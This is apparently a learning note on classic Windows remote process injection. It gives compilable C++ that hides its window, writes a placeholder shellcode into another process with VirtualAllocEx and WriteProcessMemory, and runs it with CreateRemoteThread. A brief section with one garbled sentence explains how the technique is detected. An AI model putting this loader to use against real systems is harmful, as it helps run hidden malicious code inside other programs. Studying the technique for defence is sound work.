One way to run malicious code is within the memory space of another process. This technique is often used for evasion and privilege escalation. Even though it is 2026 and these methods are now heavily flagged or blocked by default, they remain essential for learning.

I have created simple C++ pseudocode to demonstrate the logic.

The Logic Flow

1. Set Payload: Define the shellcode to be executed.
2. Obtain Handle: Target the specific process.
3. Allocate Memory: Use VirtualAllocEx to reserve space.
4. Write Shellcode: Copy the code into the allocated space.
5. Execute: Trigger the code within the target process.

#include <windows.h>
#include <iostream>

int main(int argc, char* argv[]) {
    // 0. Hide the application window
    FreeConsole();

    // 1. Setup: Define your payload and the target process
    unsigned char shellcode[] = { 0x13, 0x37 }; 
    DWORD pid = 1234; 
    SIZE_T shellcodeSize = sizeof(shellcode);

    // 2. Access: Open the target process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hProcess == NULL) return -1;

    // 3. Allocate: 
    
    LPVOID remoteBuffer = VirtualAllocEx(
        hProcess, 
        NULL, 
        shellcodeSize, 
        MEM_COMMIT | MEM_RESERVE, 
        PAGE_READWRITE
    );

    // 4. Write: Copy the payload into the RW memory
    WriteProcessMemory(
        hProcess, 
        remoteBuffer, 
        shellcode, 
        shellcodeSize, 
        NULL
    );

    // 5. Flip: Change permissions from READ/WRITE to EXECUTE/READ
   
    DWORD oldProtect;
    VirtualProtectEx(
        hProcess, 
        remoteBuffer, 
        shellcodeSize, 
        PAGE_EXECUTE_READ, 
        &oldProtect
    );

    // 6. Execute: Trigger the payload now that it's executable
    HANDLE hThread = CreateRemoteThread(
        hProcess, 
        NULL, 
        0, 
        (LPTHREAD_START_ROUTINE)remoteBuffer, 
        NULL, 
        0, 
        NULL
    );

    // 7. Cleanup: Wait for completion and release handles
    if (hThread != NULL) {
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
    }
    
    CloseHandle(hProcess);

    return 0;
}

Why Modern Security Tools Catch This

This can be caught as This is due to how modern security tools can spot it using

1. API hooking: Checking if a process calls OpenProcess API and then VirtualAllocEx on a different application.
2. Scanning memory or RWX
3. Thread parentage: Analyzing the origin of new threads ![[Process Injection/Classic_Remote_injection/poc.png]]![[poc2.png]] Next am moving into more stealthier modern injections used to hide our code. See You Space Cowboy !!